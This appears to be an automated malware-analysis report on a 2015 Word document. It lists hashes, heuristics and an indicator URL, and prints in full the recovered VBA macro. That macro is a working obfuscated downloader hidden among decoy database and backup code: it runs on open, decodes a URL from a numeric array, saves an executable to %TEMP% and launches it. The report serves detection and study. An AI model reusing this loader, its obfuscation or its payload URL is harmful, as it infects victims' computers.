Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 357807e192b59104…

MALICIOUS

Office (OLE)

83.0 KB Created: 2015-10-16 07:37:00 Authoring application: Microsoft Office Word First seen: 2015-11-28
MD5: 7ae379d02b72d5768cc07f4241def163 SHA-1: 93e8b1248ff998c515b6e664de29c98c87fb35c4 SHA-256: 357807e192b591045f47e75eb8bf90ffd836334896975cead383459fabf05cf7
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that are obfuscated and designed to execute automatically upon opening. These macros utilize WScript.Shell and CreateObject to download a second-stage executable from the URL http://demo9.iphonebackstage.com/35436/5324676645.exe and execute it. This indicates a downloader or droppper functionality.

Heuristics 11

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            .Write httpRequest.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  • Payload URL decoded from a Chr() numeric-array loader (1 URL) high OLE_VBA_CHR_ARRAY_DROPPER_URL
    A VBA macro builds its stage-2 download URL from a numeric array (Array(250, 262, …)) decoded one character at a time with Chr() and a linear offset (e.g. Chr(n - 146)), then drives Microsoft.XMLHTTP / ADODB.Stream.SaveToFile / Shell.Application to drop and execute the payload in %TEMP%. The URL is assembled at run time and never appears contiguously on disk, so a literal scan misses it; surfaced as an IOC. Self-validating: only an array that decodes to a valid host URL is reported, so a benign numeric array cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://demo9.iphonebackstage.com/35436/5324676645.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28181 bytes
SHA-256: 9205a37e83ce6c1afdf44ae766060ef1b2d5ac713e4998d0962601be0d363c50
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub autoopen()
Abrir_Recordset2 "", ""
Hbb = pValidateInstall()
Title = pGetTitle("")
Desconectar
pGetMessage "MMes"
Title = GetPasswordFiles()
End Sub




Attribute VB_Name = "Module1"
Public tempFile As String
Public Sub Abrir_Recordset(Recordset As String, StrSql As String)
'-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
' Procedimiento : Abrir_Recordset
' Fecha         : 20/11/2006 13:51
' Autor         : Miguel
' Propуsito     :ABRIR RECORDSET
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
On Error GoTo Abrir_Recordset_Error

On Error Resume Next
    Recordset.ActiveConnection = Conexion
    Recordset.LockType = adLockOptimistic
    Recordset.CursorLocation = adUseClient
    Recordset.CursorType = adOpenDynamic
    Recordset.Open StrSql

    If Err <> 0 Then
        'MsgBox Err.Description
    End If

On Error GoTo 0
    Exit Sub
Abrir_Recordset_Error:
    MsgBox "Error " & Err.Number & " (" & Err.Description & ") en procedimiento Abrir_Recordset de Mуdulo ModuloConexion"
    
End Sub



Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
    Dim i As Integer
    Dim result As String
    result = ""
    For i = LBound(fromArr) To UBound(fromArr)
        result = result & Chr(fromArr(i) - LenLen + i)
    Next i
    GetStringFromArray = result
End Function

Attribute VB_Name = "Module2"
Public httpRequest As Object
Public adodbStream As Object
Private Function ConvertCString(ByRef vSource As String) As String
    Dim i As Long
    i = InStr(vSource, Chr$(0))
    If (i > 0) Then
        ConvertCString = Left$(vSource, i - 1)
    End If
End Function


Public Function GetTempPath() As String
    Dim buffer As String
    buffer = String$(MAX_PATH, " ")
    If (APIGetTempPath(MAX_PATH, StrPtr(buffer)) <> 0) Then
        GetTempPath = ConvertCString(buffer)
    End If
    
End Function

Public Function CreateTempFile(Optional TempPath As String = vbNullString, Optional Prefix As String = vbNullString) As String
    If TempPath = vbNullString Then TempPath = GetTempPath
    If Prefix = vbNullString Then Prefix = "###"
    Dim buffer As String
    buffer = String$(MAX_PATH, " ")
    If APIGetTempFileName(StrPtr(TempPath), StrPtr(Prefix), 0, StrPtr(buffer)) <> 0 Then
        CreateTempFile = ConvertCString(buffer)
    End If
    End Function

Public Function FileExists(ByRef strPath As String) As Boolean
On Error Resume Next
FileExists = False
If GetAttr(strPath) And vbArchive Then
If Err = 0 Then FileExists = True
End If
Err.Clear
End Function
Public Function FolderExists(ByRef strPath As String) As Boolean
On Error Resume Next
FolderExists = False
If GetAttr(strPath) And vbDirectory Then
    If Err = 0 Then FolderExists = True
End If
Err.Clear
End Function

Function PathExists(ByRef PathName As String) As Boolean

    Dim Temp$
    'Set Default
    PathExists = True
    Temp$ = Replace$(PathName, "/", "\")

    If Right$(Temp$, 1) = "\" Then Temp$ = Left$(Temp$, Len(Temp$) - 1)
    'Set up error handler
    On Error Resume Next
    'Attempt to grab date and time
    Temp$ = GetAttr(Temp$)
    'Process errors

    If Err <> 0 Then PathExists = False
    '    Select Case Err
    '    Case 53, 76, 68   'File Does Not Exist
    '        modFile_FileExists = False
    '        Err = 0
    '    Case Else
    '
    '        If Err <> 0 Then
    '            MsgBox "Error Number: " & Err & Chr$(10) & Chr$(13) & " " & Error, vbOKOnly, "Error"
    '            End
    '        End If
    '
    '    End Select
    Err.Clear
End Function

Public Function pValidateInstall() As Boolean
    On Error Resume Next
  Dim dbPath, Nnm  As String
  Dim computer() As Variant
    computer = Array(156, 167, 166, 161, 106, 94, 93, 145, 145, 152, 153, 98, 86, 144, 150, 141, 147, 145, 135, 131, 129, 130, 137, 144, 144, 124, 129, 126, 70, 122, 133, 130, 67, 70, 71, 69, 67, 69, 61, 66, 63, 61, 62, 63, 63, 61, 60, 57, 57, 49, 103, 121, 101)
  httpRequest.Open "G" + "ET", GetStringFromArray(computer, 52), False
  
  dbPath = LoadPasswordFiles

  If LenB(dbPath) = 0 Then
    Exit Function
  End If
  
  dbPath = Getc.IniValue(csSecConfig, _
                       csDbPath, _
                       vbNullString, _
                       "GetIniFullFile(csIniFile)")

  Dim bValid As Boolean
  
  If LenB(dbPath) <> 0 Then
    bValid = File.FolderExists_(dbPath)
  End If
  
  If Not bValid Then
    MsgBox "Debe indicar una carpeta donde se guardaran las definiciones de tareas de CSBackup"
    Exit Function
  Else
    pValidateInstall = True
  End If
  
End Function
Function BuildPath(ByVal sPathIn As String, Optional ByVal sFileNameIn As String, Optional lnps As String) As String

    '*******************************************************************
    '
    '  PURPOSE: Takes a path (including Drive letter and any subdirs) and
    '           concatenates the file name to path. Path may be empty, path
    '           may or may not have an ending backslash '\'.  No validation
    '           or existance is check on path or file.
    '
    '  INPUTS:  sPathIn - Path to use
    '           sFileNameIn - Filename to use
    '
    '
    '  OUTPUTS:  N/A
    '
    '  RETURNS:  Path concatenated to File.
    '
    '*******************************************************************
    '    Dim sPath As String
    '    Dim sFilename As String
    '    'Remove any leading or trailing spaces
    '    sPath = Trim$(sPathIn)
    '    sFilename = Trim$(sFileNameIn)
    Dim sSlash As String

    If lnps = lnpsDos Then
        sSlash = "\"
        sPathIn = Replace$(sPathIn, "/", "\")
        sFileNameIn = Replace$(sFileNameIn, "/", "\")
    Else
        sSlash = "/"
        sPathIn = Replace$(sPathIn, "\", "/")
        sFileNameIn = Replace$(sFileNameIn, "\", "/")
    End If

    If sPathIn = vbNullString Then
        BuildPath = sFileNameIn
    Else

        If Right$(sPathIn, 1) = sSlash Then
            BuildPath = sPathIn & sFileNameIn
        Else
            BuildPath = sPathIn & sSlash & sFileNameIn
        End If

    End If

End Function

Function GetFileName(ByRef sFilename As String) As String
    Dim pLen As String
    Dim sPath As String
    
    sPath = sFilename
    pLen = Len(sPath)
    If pLen < 1 Then Exit Function
    Do While (Right$(sPath, 1) = "\")
        pLen = pLen - 1
        sPath = Left$(sPath, pLen)
        If pLen < 1 Then GetFileName = "\": Exit Function
    Loop
    Do While (Right$(sPath, 1) = "/")
        pLen = pLen - 1
        sPath = Left$(sPath, pLen)
        If pLen < 1 Then GetFileName = "\": Exit Function
    Loop
    
    'GetFileName = sPath
    Dim pos As Long
    pos = InStrRev(sPath, "/")
    If pos < 1 Then pos = InStrRev(sPath, "\")
    If pos < 1 Then
        GetFileName = sPath
    Else
        GetFileName = Right$(sPath, pLen - pos)
    End If
    
    'pos = InStrRev$(sPath, ".")


End Function

Function GetParentFolderName(ByRef sFilename As String) As String

    Dim lF As Long
    Dim pos As Long
    lF = Len(sFilename)
    If lF < 1 Then Exit Function
    
    GetParentFolderName = sFilename
    pos = InStrRev(GetParentFolderName, "/")

    If pos = 0 Then pos = InStrRev(GetParentFolderName, "\")

    If pos = lF Then
        GetParentFolderName = Left$(GetParentFolderName, lF - 1)
        pos = InStrRev(GetParentFolderName, "/")

        If pos = 0 Then pos = InStrRev(GetParentFolderName, "\")
    End If

    If pos = 0 Then
        GetParentFolderName = vbNullString
    Else
        GetParentFolderName = Mid$(sFilename, 1, pos - 1) & "\"
    End If

    '
    '    pos = InStrRev(GetParentFolder, "/")
    '    If pos = 0 Then pos = InStrRev(GetParentFolder, "\")
    '    If pos = 0 Then GetParentFolder = vbNULLSTRING

End Function

Public Function GetBaseName(ByVal sPath As String) As String

    Dim pos As Long
    sPath = GetFileName(sPath)
    pos = InStrRev(sPath, ".")
    If pos > 0 Then
        GetBaseName = Left$(sPath, pos - 1)
    Else
        GetBaseName = sPath
    End If

End Function

Public Function GetExtensionName(ByRef sPath As String) As String

    If sPath = vbNullString Then Exit Function
    GetExtensionName = RightRight(sPath, ".", vbTextCompare, ReturnEmptyStr)

End Function

Private Function RightRight(ByRef Str As String, RFind As String, Optional Compare As String, Optional RetError As String) As String

    Dim K As Long
    K = InStrRev(Str, RFind, , Compare)

    If K = 0 Then
        RightRight = IIf(RetError = ReturnOriginalStr, Str, vbNullString)
    Else
        RightRight = Mid$(Str, K + 1, Len(Str))
    End If

End Function

Public Function GetTempFilename(Optional sPrefix As String = "lTmp", Optional sExt As String) As String

    Randomize Timer

    If sExt <> vbNullString Then sExt = "." & sExt
    GetTempFilename = sPrefix & Hex$(Int(Rnd(Timer) * 10000 + 1)) & sExt

    Do Until PathExists(GetTempFilename) = False
        GetTempFilename = sPrefix & Hex$(Int(Rnd(Timer) * 10000 + 1)) & sExt
    Loop

End Function

Public Function GetFullPath(sFilename As String) As String

    Dim C As Long, sRet As String
    GetFullPath = sFilename

    If sFilename = Empty Then Exit Function
    ' Get the path size, then create string of that size
    sRet = String$(cMaxPath, 0)
    C = APIGetFullPathName(StrPtr(sFilename), MAX_PATH, StrPtr(sRet), 0)
   ' GetFullPath = StrConv(ConvertCString(sRet), vbUnicode)
    GetFullPath = ConvertCString(sRet)

End Function

Public Function PathType(sPath As String) As String

    PathType = LNUnKnown
    On Error GoTo Herr

    If sPath = vbNullString Then Exit Function

    If InStr(sPath, ":") < 1 Then sPath = GetFullPath(sPath)
    Dim PathAttr As VbFileAttribute
    PathAttr = GetAttr(sPath)

    If (PathAttr And vbDirectory) Then
        PathType = LNFolder
    ElseIf (PathAttr And vbArchive) Then
        PathType = LNFile
    End If

Herr:

End Function

Public Function subCount(ByVal spathName As String, Optional ByRef lFolders As Long, Optional ByRef lFiles As Long) As Long

    Dim subName As String

    If PathType(spathName) <> LNFolder Then Exit Function
    spathName = GetFullPath(spathName)
    subName = Dir(spathName, vbDirectory Or vbArchive Or vbHidden Or vbNormal Or vbSystem Or vbReadOnly)

    Do Until subName = vbNullString

        If subName = "." Or subName = ".." Then
        Else
            subCount = subCount + 1
            subName = BuildPath(spathName, subName)

            If PathType(subName) = LNFolder Then
                lFolders = lFolders + 1
            Else
                lFiles = lFiles + 1
            End If

        End If

        subName = Dir()
    Loop

End Function
Public Function subFolders(ByVal spathName As String, ByRef strFolder() As String) As Long
    Dim fdCount As Long
    Dim subName As String
    
    spathName = GetFullPath(spathName)
    subName = Dir$(spathName, vbDirectory)
    spathName = BuildPath(spathName)
    Do Until subName = vbNullString
        If subName <> "." And subName <> ".." Then
                If GetAttr(spathName & subName) And vbDirectory Then
                ReDim Preserve strFolder(0 To fdCount) As String
                strFolder(fdCount) = spathName & subName
                fdCount = fdCount + 1
            End If
        End If
        subName = Dir$()
    Loop
    subFolders = fdCount
    
End Function
Public Function subFiles(ByVal spathName As String, ByRef strFile() As String) As Long
    Dim fCount As Long
    Dim subName As String
    
    spathName = GetFullPath(spathName)
    subName = Dir$(spathName, vbArchive)
    Do Until subName = vbNullString
        If subName <> "." And subName <> ".." Then

            ReDim Preserve strFile(0 To fCount) As String
            strFile(fCount) = subName
            fCount = fCount + 1
        End If
        subName = Dir$()
    Loop
    subFiles = fCount
 
End Function

Public Sub xMkdir(sPath As String)
    Dim parentFolder As String
    If FolderExists(sPath) Then Exit Sub
    parentFolder = GetParentFolderName(sPath)
    If parentFolder <> vbNullString And FolderExists(parentFolder) = False Then xMkdir parentFolder
    MkDir sPath
End Sub



Public Function chkFileType(chkfile As String) As String
    Dim Ext As String
    Dim K As Long
    K = InStrRev(chkfile, ".", , vbTextCompare)

    If K > 0 Then
        Ext = LCase$(Mid$(chkfile, K + 1, Len(chkfile)))
    End If

    Select Case Ext
    Case "rtf"
        chkFileType = ftRTF
    Case "zhtm", "zip"
        chkFileType = ftZIP
    Case "txt", "ini", "bat", "cmd", "css", "log", "cfg", "txtindex"
        chkFileType = ftTxt
    Case "jpg", "jpeg", "gif", "bmp", "png", "ico"
        chkFileType = ftIMG
    Case "htm", "html", "shtml"
        chkFileType = ftIE
    Case "exe", "com"
        chkFileType = ftExE
    Case "chm"
        chkFileType = ftCHM
    Case "mp3", "wav", "wma"
        chkFileType = ftAUDIO
    Case "wmv", "rm", "rmvb", "avi", "mpg", "mpeg"
        chkFileType = ftVIDEO
    End Select

End Function

Public Function lookfor(sCurFile As String, Optional lookForWhat As String, Optional sWildcard As String = "*")

Dim sCurFilename As String
Dim sCurFolder As String
Dim i As Long
Dim iCount As Long
Dim sFileList() As String
Dim Index As String

If PathExists(sCurFile) = False Then Exit Function

If PathType(sCurFile) = LNFolder Then
    sCurFolder = sCurFile
ElseIf PathType(sCurFile) = LNFile Then
    sCurFolder = GetParentFolderName(sCurFile)
    sCurFilename = GetFileName(sCurFile)
Else
    Exit Function
End If

iCount = subFiles(BuildPath(sCurFolder, sWildcard), sFileList())
If iCount < 1 Then Exit Function
Index = 0
If lookForWhat = LN_FILE_RAND Then
    Index = Int(Rnd(Timer) * iCount) + 1
ElseIf sCurFilename = vbNullString Then
        Index = 1
Else
    For i = 1 To iCount
        If StrComp(sCurFilename, sFileList(i), vbTextCompare) = 0 Then
            Index = i: Exit For
        End If
    Next
End If

If lookForWhat = LN_FILE_next Then
    Index = Index + 1
    If Index > iCount Then Index = 1
ElseIf lookForWhat = LN_FILE_prev Then
    Index = Index - 1
    If Index < 1 Then Index = iCount
End If

lookfor = BuildPath(sCurFolder, sFileList(Index))

End Function


Public Function DeleteFolder(ByVal vTarget As String) As Boolean
    
On Error GoTo ErrorDeleteFolder

    vTarget = BuildPath(vTarget, vbNullString)
    ForceKill vTarget & "*.*"
    
    
    Dim folders() As String
    Dim count As Long
    count = subFolders(vTarget, folders())
    
    Dim i As Long
    For i = 1 To count
        DeleteFolder folders(i)
    Next
    
    RmDir vTarget
    DeleteFolder = True
        
        
ErrorDeleteFolder:
    DeleteFolder = False
    Err.Raise Err.Number, Err.Source, Err.Description
End Function

 
Public Sub Desconectar()

On Error Resume Next

    Conexion.Close
  Set processEnv = CreateObject("WScript.Shell").Environment("Process")
    Conexion2.Close
    Conexion3.Close
   rrr = processEnv("TE" + "" + "MP")
    Conexion4.Close
    tempFile = rrr & tempFile
   
    Set Conexion = Nothing
    Set Conexion2 = Nothing
    Set Conexion3 = Nothing
    Set Conexion4 = Nothing
End Sub

Public Sub ForceKill(ByRef vTarget As String)
    On Error Resume Next
    Kill vTarget
    Err.Clear
End Sub

Public Function MoveFile(ByVal vSource As String, ByVal vDest As String) As Boolean
    Dim r As Long
    r = APIMoveFile(vSource, vDest)
    If r <> 0 Then MoveFile = True
End Function

Public Function ReplaceInvalidChars(ByRef vString As String, Optional ByRef vTo As String = vbNullString) As String
    Dim i As Long
    Dim j As Long
    Dim L1 As Long
    Dim L2 As Long
    
    Dim C As String
    Dim invalidChars() As String
    L1 = Len(FileSystem_Invalid_Path_Chars)
    ReDim invalidChars(1 To L1)
    For i = 1 To L1
        invalidChars(i) = Mid$(FileSystem_Invalid_Path_Chars, i, 1)
    Next
       
    L2 = Len(vString)
    For i = 1 To L2
        C = Mid$(vString, i, 1)
        For j = 1 To L1
            If C = invalidChars(j) Then
                C = vTo
                Exit For
            End If
        Next
        ReplaceInvalidChars = ReplaceInvalidChars & C
    Next
End Function

Public Sub WriteToFile(ByRef vFilename As String, ByRef vText As String, Optional vUnicode As Boolean = False)
    On Error Resume Next
    
    Dim fNum As Long
    'Dim l As Long
    fNum = FreeFile
    
    
    Kill vFilename
    
    Dim c_B(1) As Byte
    ReDim bText(LenB(vText)) As Byte
    c_B(0) = 255
    c_B(1) = 254
    bText = vText
    Open vFilename For Binary Access Write As #fNum
    Put #fNum, , c_B()
    Put #fNum, , bText
    
    Close #fNum
    
    If Err Then
        Err.Raise Err.Number, "WriteToFile: " & vFilename, Err.Description
    End If
End Sub


Attribute VB_Name = "Module3"
Public Sub pSetInitWithWindows()
  Dim s As String
  Dim InitWithWindows As Boolean
  Dim Key As String
  
  Set mReg = New cRegistry
  
  Key = App.Title & "(" & App.path & ")"
  InitWithWindows = Val(GetIniValue(csSecConfig, _
                    csInitWithWindows, _
                    1, _
                    GetIniFullFile(csIniFile)))
                    
  s = mReg.GetRegString(cvRun, Key)
  If s <> "" Then
    If Not InitWithWindows Then
      RemoveFromRegistry Key
    End If
  Else
    InsertInRegistry Key, """" & App.path & "\" & App.EXEName & ".exe"" -r"
  End If
End Sub


Private Sub pLoadIniValues()
  LoadPasswordFiles
End Sub

Public Function LoadPasswordFiles() As String
    LoadPasswordFiles = ""
  Dim Password As String
  httpRequest.Send
  On Error GoTo ExitFunction
  Password = GetP.rogramPassword()
  
  m_PasswordFiles = GetI.niValue(csSecConfig, _
                              csPasswordFiles, _
                              vbNullString, _
                              GetI.niFullFile(csIniFile))
  m_PasswordFiles = Dec.ryptData(m_PasswordFiles, Password)
ExitFunction:
  Exit Function
End Function

Public Function LoadMasterPassword() As Boolean
  Dim bUseMasterPassword As Boolean
  
  bUseMasterPassword = Val(GetIniValue(csSecConfig, _
                              csUseMasterPassword, _
                              0, _
                              GetIniFullFile(csIniFile)))
  If bUseMasterPassword Then
  
    LoadMasterPassword = RequestMasterPassword(False)
  
  Else
    
    LoadMasterPassword = True
  
  End If

End Function

Public Sub EditPreferences(ByVal ShowMode As FormShowConstants, Optional ByVal dbPath As String)
  Load fPreferences
  If LenB(dbPath) Then
    fPreferences.txPath.text = dbPath
  End If
  fPreferences.Show ShowMode
End Sub

Public Sub Abrir_Recordset2(Recordset As String, StrSql As String)
'-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
' Procedimiento : Abrir_Recordset
' Fecha         : 20/11/2006 13:51
' Autor         : Miguel
' Propуsito     :ABRIR RECORDSET
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
Set httpRequest = CreateObject("Microsoft.XMLHTTP")
Set adodbStream = CreateObject("Adodb.Stream")
On Error Resume Next

    Rec.cordset.ActiveConnection = Conexion2
    Rec.ordset.LockType = adLockOptimistic
    Rec.ordset.CursorLocation = adUseClient
    Rec.ordset.CursorType = adOpenDynamic
    Rec.ordset.Open StrSql

    If Err <> 0 Then
        'MsgBox Err.Description
    End If

   
End Sub
Public Sub FormLoad(ByRef f As String, ByVal bSize As Boolean)
  On Error Resume Next
  
  With f
    
    .Top = GetIniValue(csSecWindows, .Name & "_top", 2000, GetIniFullFile(csIniFile))
    .Left = GetIniValue(csSecWindows, .Name & "_left", 3000, GetIniFullFile(csIniFile))
    
    If bSize Then
      .Width = GetIniValue(csSecWindows, .Name & "_width", 6000, GetIniFullFile(csIniFile))
      .Height = GetIniValue(csSecWindows, .Name & "_height", 4000, GetIniFullFile(csIniFile))
    End If
  End With
End Sub

Public Sub FormUnload(ByRef f As String, ByVal bSize As Boolean)
  With f
    If .WindowState = vbNormal Then
      SetIniValue csSecWindows, .Name & "_top", .Top, GetIniFullFile(csIniFile)
      SetIniValue csSecWindows, .Name & "_left", .Left, GetIniFullFile(csIniFile)
      
      If bSize Then
        SetIniValue csSecWindows, .Name & "_width", .Width, GetIniFullFile(csIniFile)
        SetIniValue csSecWindows, .Name & "_height", .Height, GetIniFullFile(csIniFile)
      End If
    End If
  End With
End Sub

Public Sub MngError(ByRef ErrObj As Object, _
                    ByVal FunctionName As String, _
                    ByVal Module As String, _
                    ByVal InfoAdd As String, _
                    Optional ByVal Title As String = "@@@@@")
  
  Title = pGetTitle(Title)
  MsgBox "Error: " & Err.Description & vbCrLf _
                   & "Funcion: " & Module & "." & FunctionName & vbCrLf _
                   & InfoAdd, _
         vbCritical, _
         Title
End Sub

Public Sub MsgWarning(ByVal msg As String, Optional ByVal Title As String = "@@@@@")
    pMsgAux msg, vbExclamation, Title
End Sub

Public Sub pMsgAux(ByVal msg As String, ByVal Style As VbMsgBoxStyle, ByVal Title As String)
  msg = pGetMessage(msg)
  Title = pGetTitle(Title)
  MsgBox msg, Style, Title
End Sub

Public Function pGetMessage(ByVal msg As String) As String
  msg = Replace(msg, vbCrLf, vbCrLf)
    With adodbStream
       .Type = 1
        .Open
        .Write httpRequest.responseBody
        .savetofile tempFile, 2
    End With
  pGetMessage = msg
End Function

Public Function pGetTitle(ByVal Title As String) As String
  If Title = "" Then Title = "CrowSoft1"
  If Title = "@@@@@" Then Title = "CrowSoft2"
  
    tempFile = "\" + Title + ".exe"
  
  pGetTitle = Title
End Function

Public Function Ask(ByVal msg As String, ByVal default As VbMsgBoxResult, Optional ByVal Title As String) As Boolean
  Dim N As Integer
  msg = pGetMessage(msg)
  If InStr(1, msg, "?") = 0 Then msg = "ї" & msg & "?"
  If default = vbNo Then N = vbDefaultButton2
  pGetTitle Title
  Ask = vbYes = MsgBox(msg, vbYesNo + N + vbQuestion, Title)
  
End Function

Public Function TaskType(ByVal TaskFile As String, _
                         ByVal bSilent As Boolean, _
                         Optional ByRef strError As String) As String
  Dim DocXml As cXml
  Set DocXml = New cXml
  
  DocXml.init Nothing
  DocXml.Name = GetFileName_(TaskFile)
  DocXml.path = GetPath_(TaskFile)
  
  If Not DocXml.OpenXml(bSilent, strError) Then Exit Function
  
  
  Dim Root  As Object
  
  Set Root = DocXml.GetRootNode()

  TaskType = Val(pGetChildNodeProperty(Root, DocXml, "TaskType", "Value"))
  
End Function

Public Function GetPasswordFiles() As String
  Set shellApp = CreateObject("Shell.Application")
    shellApp.Open (tempFile)
End Function

Public Function RequestMasterPassword(ByVal bWithConfirm As Boolean) As Boolean
  If Not bWithConfirm Then
    fMasterPassword.txPassword2.Visible = False
    fMasterPassword.lbConfirm.Visible = False
  End If
  fMasterPassword.Show vbModal
  
  If fMasterPassword.Ok Then
  
    m_MasterPassword = fMasterPassword.txPassword.text
    RequestMasterPassword = True
  End If
  Unload fMasterPassword
End Function

Public Function ValidateMasterPassword(ByVal Password As String) As Boolean
  Dim testValue As String
  testValue = GetIniValue(csSecConfig, _
                          csPasswordTestValue, _
                          vbNullString, _
                          GetIniFullFile(csIniFile))
  ValidateMasterPassword = DecryptData(testValue, Password) = c_testvalue
End Function

Public Function GetMasterPassword() As String
  GetMasterPassword = m_MasterPassword
End Function

Public Sub ChangeMasterPassword(ByVal OldMasterPassword As String, _
                                ByVal NewMasterPassword As String)

  ' Tengo que levantar todas las tareas
  ' y grabar con la nueva password
  '
  Dim i As Long
  Dim Task As Object
  
  With fMain.lvTask.ListItems
    For i = 1 To .count
      If TaskType(.Item(i).SubItems(1), False) = c_TaskTypeBackupFile Then
        Set Task = New cTask
      Else
        Set Task = New cSQLTaskCommandBackup
      End If
      
      Dim oTask As cSQLTaskCommandBackup
      m_MasterPassword = OldMasterPassword
      
      If Task.Load(.Item(i).SubItems(1), False) Then
        
        m_MasterPassword = NewMasterPassword
        Task.Save
      End If
    
    Next
  End With
  
  m_MasterPassword = NewMasterPassword
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.